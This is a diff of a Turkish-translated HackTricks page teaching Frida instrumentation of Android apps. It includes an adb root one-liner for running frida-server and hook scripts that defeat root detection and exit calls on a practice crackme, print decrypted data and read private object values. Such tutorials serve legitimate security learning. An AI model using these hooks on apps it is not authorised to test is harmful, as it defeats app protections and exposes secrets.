AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Frida Öğretici
|
||||
# Frida Tutorial
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir **premium bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'e kadar ödüller kazanmaya başlayın!
|
||||
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Kurulum
|
||||
|
||||
**frida araçlarını** kurun:
|
||||
**frida tools**'u kurun:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Frida sunucusunu** android cihaza **indirin ve yükleyin** ([En son sürümü indirin](https://github.com/frida/frida/releases)).\
|
||||
Adb'yi kök modunda yeniden başlatmak, ona bağlanmak, frida sunucusunu yüklemek, yürütme izinleri vermek ve arka planda çalıştırmak için tek satırlık komut:
|
||||
**Android'da indirin ve kurun** **frida server** ([En son sürümü indirin](https://github.com/frida/frida/releases)).\
|
||||
Root modda adb'yi yeniden başlatmak, ona bağlanmak, frida-server'ı yüklemek, yürütme izinleri vermek ve arka planda çalıştırmak için tek satırlık komut:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -36,40 +37,40 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Çalışıp çalışmadığını** kontrol edin:
|
||||
**Çalışıp çalışmadığını** **kontrol et**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Öğreticiler
|
||||
## Tutorials
|
||||
|
||||
### [Öğretici 1](frida-tutorial-1.md)
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**Kaynak**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Kaynak Kodu**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Okumak için [linke tıklayın](frida-tutorial-1.md).**
|
||||
**Follow the [link to read it](frida-tutorial-1.md).**
|
||||
|
||||
### [Öğretici 2](frida-tutorial-2.md)
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**Kaynak**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Bölümler 2, 3 ve 4)\
|
||||
**APK'lar ve Kaynak Kodu**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Okumak için [linke tıklayın](frida-tutorial-2.md).**
|
||||
**Follow the[ link to read it.](frida-tutorial-2.md)**
|
||||
|
||||
### [Öğretici 3](owaspuncrackable-1.md)
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**Kaynak**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
**Okumak için [linke tıklayın](owaspuncrackable-1.md).**
|
||||
**Follow the [link to read it](owaspuncrackable-1.md).**
|
||||
|
||||
**Daha fazla Harika Frida betiği burada bulunabilir:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Hızlı Örnekler
|
||||
## Quick Examples
|
||||
|
||||
### Komut satırından Frida'yı çağırmak
|
||||
### Calling Frida from command line
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
|
@ -83,52 +84,6 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
|||
#continue execution with our modified code.
|
||||
```
|
||||
### Temel Python Scripti
|
||||
|
||||
```python
|
||||
import frida
|
||||
|
||||
# Define the script to be injected
|
||||
script_code = """
|
||||
Java.perform(function () {
|
||||
// Your code here
|
||||
});
|
||||
"""
|
||||
|
||||
# Attach to the target process
|
||||
session = frida.attach("com.example.app")
|
||||
|
||||
# Create a script from the script code
|
||||
script = session.create_script(script_code)
|
||||
|
||||
# Load the script into the target process
|
||||
script.load()
|
||||
|
||||
# Detach from the target process
|
||||
session.detach()
|
||||
```
|
||||
|
||||
```python
|
||||
import frida
|
||||
|
||||
# Enjekte edilecek scripti tanımla
|
||||
script_code = """
|
||||
Java.perform(function () {
|
||||
// Buraya kodunuzu yazın
|
||||
});
|
||||
"""
|
||||
|
||||
# Hedef sürece bağlan
|
||||
session = frida.attach("com.example.app")
|
||||
|
||||
# Script kodundan bir script oluştur
|
||||
script = session.create_script(script_code)
|
||||
|
||||
# Scripti hedef sürece yükle
|
||||
script.load()
|
||||
|
||||
# Hedef süreçten ayrıl
|
||||
session.detach()
|
||||
```
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
|
@ -139,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
|||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### Parametresiz fonksiyonları kancalamak
|
||||
### Parametre olmadan fonksiyonları yakalama
|
||||
|
||||
`sg.vantagepoint.a.c` sınıfının `a()` fonksiyonunu kancala.
|
||||
Sınıf `sg.vantagepoint.a.c`'nin `a()` fonksiyonunu yakalayın.
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
|
@ -151,146 +106,14 @@ return false;
|
|||
};
|
||||
});
|
||||
```
|
||||
# Frida Tutorial: Hooking `exit()` Method in Java
|
||||
|
||||
In this tutorial, we will learn how to hook the `exit()` method in Java using Frida. By hooking this method, we can intercept the application's exit process and perform additional actions or manipulate the behavior of the application.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before we begin, make sure you have the following:
|
||||
|
||||
- A rooted Android device or an emulator
|
||||
- Frida installed on your machine
|
||||
- Basic knowledge of JavaScript and Java
|
||||
|
||||
## Step 1: Setting up the Environment
|
||||
|
||||
First, we need to set up the environment for our Frida script. Create a new file called `hook_exit.js` and open it in a text editor.
|
||||
|
||||
## Step 2: Writing the Frida Script
|
||||
|
||||
In the `hook_exit.js` file, we will write the Frida script to hook the `exit()` method. Here's an example script:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var System = Java.use('java.lang.System');
|
||||
var Runtime = Java.use('java.lang.Runtime');
|
||||
|
||||
// Hook the exit() method
|
||||
System.exit.implementation = function() {
|
||||
console.log('exit() method hooked');
|
||||
|
||||
// Perform additional actions or manipulate the behavior here
|
||||
|
||||
// Call the original exit() method
|
||||
this.exit.apply(this, arguments);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
In this script, we use the `Java.perform()` function to perform our hooking logic. We then use the `Java.use()` function to get references to the `System` and `Runtime` classes.
|
||||
|
||||
Next, we hook the `exit()` method by replacing its implementation with our own function. Inside the hooked function, we can perform additional actions or manipulate the behavior of the application.
|
||||
|
||||
Finally, we call the original `exit()` method using `this.exit.apply(this, arguments)` to ensure the application exits properly.
|
||||
|
||||
## Step 3: Running the Frida Script
|
||||
|
||||
To run the Frida script, follow these steps:
|
||||
|
||||
1. Connect your Android device or emulator to your machine.
|
||||
2. Open a terminal and navigate to the directory where the `hook_exit.js` file is located.
|
||||
3. Run the following command to start the Frida server:
|
||||
|
||||
```
|
||||
frida-server
|
||||
```
|
||||
|
||||
4. Install the target application on your device or emulator.
|
||||
5. Run the following command to attach the Frida script to the target application:
|
||||
|
||||
```
|
||||
frida -U -l hook_exit.js <package_name>
|
||||
```
|
||||
|
||||
Replace `<package_name>` with the package name of the target application.
|
||||
|
||||
6. The Frida script will be injected into the target application, and you will see the message "exit() method hooked" in the console.
|
||||
|
||||
## Conclusion
|
||||
|
||||
In this tutorial, we learned how to hook the `exit()` method in Java using Frida. By hooking this method, we can intercept the application's exit process and perform additional actions or manipulate the behavior of the application.
|
||||
Hook java `exit()`
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
# Frida Tutorial: Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
|
||||
In this tutorial, we will learn how to use Frida to hook the `.onStart()` and `.onCreate()` methods of the MainActivity class in an Android app.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before we begin, make sure you have the following:
|
||||
|
||||
- Frida installed on your machine
|
||||
- An Android device or emulator
|
||||
- The target app installed on the device or emulator
|
||||
|
||||
## Step 1: Set Up the Environment
|
||||
|
||||
First, we need to set up the environment by installing Frida on our machine. You can find the installation instructions for your specific operating system on the [Frida website](https://frida.re/docs/installation/).
|
||||
|
||||
Once Frida is installed, make sure your Android device or emulator is connected to your machine.
|
||||
|
||||
## Step 2: Identify the Target App
|
||||
|
||||
Next, we need to identify the target app that we want to hook. You can find the package name of the app by looking at the `AndroidManifest.xml` file or by using a tool like `adb`:
|
||||
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
```
|
||||
|
||||
## Step 3: Write the Frida Script
|
||||
|
||||
Now, let's write the Frida script to hook the `.onStart()` and `.onCreate()` methods of the MainActivity class. Create a new file called `hook.js` and add the following code:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use('com.example.app.MainActivity');
|
||||
|
||||
MainActivity.onStart.implementation = function() {
|
||||
console.log('MainActivity.onStart() hooked');
|
||||
this.onStart();
|
||||
};
|
||||
|
||||
MainActivity.onCreate.implementation = function() {
|
||||
console.log('MainActivity.onCreate() hooked');
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
## Step 4: Run the Frida Script
|
||||
|
||||
To run the Frida script, open a terminal and navigate to the directory where the `hook.js` file is located. Then, run the following command:
|
||||
|
||||
```bash
|
||||
frida -U -l hook.js -f <package_name> --no-pause
|
||||
```
|
||||
|
||||
Replace `<package_name>` with the package name of the target app.
|
||||
|
||||
## Step 5: Test the Hook
|
||||
|
||||
Finally, launch the target app on your Android device or emulator. You should see the log messages `MainActivity.onStart() hooked` and `MainActivity.onCreate() hooked` in the terminal where you ran the Frida script.
|
||||
|
||||
Congratulations! You have successfully hooked the `.onStart()` and `.onCreate()` methods of the MainActivity class using Frida.
|
||||
|
||||
## Conclusion
|
||||
|
||||
In this tutorial, we learned how to use Frida to hook the `.onStart()` and `.onCreate()` methods of the MainActivity class in an Android app. This technique can be useful for analyzing and modifying the behavior of Android apps during runtime.
|
||||
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
|
@ -302,62 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
# Frida Tutorial: Hook Android `.onCreate()`
|
||||
|
||||
In this tutorial, we will learn how to hook the `.onCreate()` method in an Android application using Frida. By hooking this method, we can intercept and modify the behavior of the application during its initialization process.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before we begin, make sure you have the following:
|
||||
|
||||
- An Android device or emulator
|
||||
- Frida installed on your machine
|
||||
- Basic knowledge of JavaScript and Android development
|
||||
|
||||
## Steps
|
||||
|
||||
1. Launch the target application on your Android device or emulator.
|
||||
|
||||
2. Open a terminal and start the Frida server by running the following command:
|
||||
|
||||
```bash
|
||||
frida-server
|
||||
```
|
||||
|
||||
3. Create a new JavaScript file, for example `hook.js`, and add the following code:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var targetClass = Java.use('com.example.TargetClass');
|
||||
targetClass.onCreate.implementation = function() {
|
||||
console.log('Hooked .onCreate()');
|
||||
// Add your custom code here
|
||||
this.onCreate();
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
In the above code, replace `'com.example.TargetClass'` with the fully qualified name of the class containing the `.onCreate()` method that you want to hook.
|
||||
|
||||
4. Save the `hook.js` file.
|
||||
|
||||
5. In the terminal, navigate to the directory where the `hook.js` file is located.
|
||||
|
||||
6. Run the following command to start the Frida script:
|
||||
|
||||
```bash
|
||||
frida -U -l hook.js -f com.example.targetapp
|
||||
```
|
||||
|
||||
Replace `com.example.targetapp` with the package name of the target application.
|
||||
|
||||
7. If everything is set up correctly, you should see the message `Hooked .onCreate()` in the terminal.
|
||||
|
||||
8. Now, when the target application's `.onCreate()` method is called, your custom code will be executed.
|
||||
|
||||
## Conclusion
|
||||
|
||||
By hooking the `.onCreate()` method in an Android application using Frida, you can gain control over the application's initialization process and modify its behavior as desired. This technique can be useful for various purposes, such as debugging, reverse engineering, or security analysis.
|
||||
Hook android `.onCreate()`
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
|
@ -365,9 +133,9 @@ send("Activity HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### Parametreleri olan fonksiyonları kancalamak ve değeri almak
|
||||
### Parametrelerle fonksiyonları hooklama ve değeri alma
|
||||
|
||||
Bir şifre çözme fonksiyonunu kancalamak. Girdiyi yazdır, orijinal fonksiyonu çağırarak girdiyi çöz ve son olarak düz metni yazdır:
|
||||
Bir şifre çözme fonksiyonunu hooklama. Girişi yazdır, orijinal fonksiyonu çağırarak girişi şifre çöz ve son olarak, düz veriyi yazdır:
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
|
@ -392,9 +160,9 @@ send("Decrypted flag: " + flag);
|
|||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### Fonksiyonları kancalamak ve kendi girdimizle çağırmak
|
||||
### Fonksiyonları Hooklama ve Girdiğimizle Çağırma
|
||||
|
||||
Bir dize alan bir fonksiyonu kancala ve başka bir dizeyle çağır (buradan alınan [linkten](https://11x256.github.io/Frida-hooking-android-part-2/) alınan örnek üzerinden).
|
||||
Bir dize alan bir fonksiyonu hooklayın ve onu başka bir dize ile çağırın (buradan).
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
|
@ -406,11 +174,11 @@ console.log("Return value: "+ret);
|
|||
return ret;
|
||||
};
|
||||
```
|
||||
### Bir sınıfın zaten oluşturulmuş bir nesnesini almak
|
||||
### Zaten Oluşturulmuş Bir Sınıf Nesnesini Alma
|
||||
|
||||
Bir oluşturulmuş nesnenin bazı özelliklerini çıkarmak isterseniz, bunu kullanabilirsiniz.
|
||||
Eğer oluşturulmuş bir nesnenin bazı özelliklerini çıkarmak istiyorsanız bunu kullanabilirsiniz.
|
||||
|
||||
Bu örnekte, my\_activity sınıfının nesnesini nasıl alacağınızı ve nesnenin bir özel özelliğini yazdıracak olan .secret() fonksiyonunu nasıl çağıracağınızı göreceksiniz:
|
||||
Bu örnekte, my\_activity sınıfının nesnesini nasıl alacağınızı ve nesnenin özel bir özelliğini yazdıracak olan .secret() fonksiyonunu nasıl çağıracağınızı göreceksiniz:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||
|
@ -420,29 +188,28 @@ console.log("Result of secret func: " + instance.secret());
|
|||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
## Diğer Frida öğreticileri
|
||||
## Diğer Frida eğitimleri
|
||||
|
||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
* [Gelişmiş Frida Kullanımı blog serisinin 1. bölümü: IOS Şifreleme Kütüphaneleri](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
* [Gelişmiş Frida Kullanımı blog serisinin 1. Bölümü: IOS Şifreleme Kütüphaneleri](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'e kadar ödüller kazanmaya başlayın!
|
||||
**Hata ödülü ipucu**: **hackerlar tarafından, hackerlar için oluşturulmuş premium bir **bug bounty platformu** olan **Intigriti**'ye **kaydolun**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Bakın: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Şuna bir göz atın: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
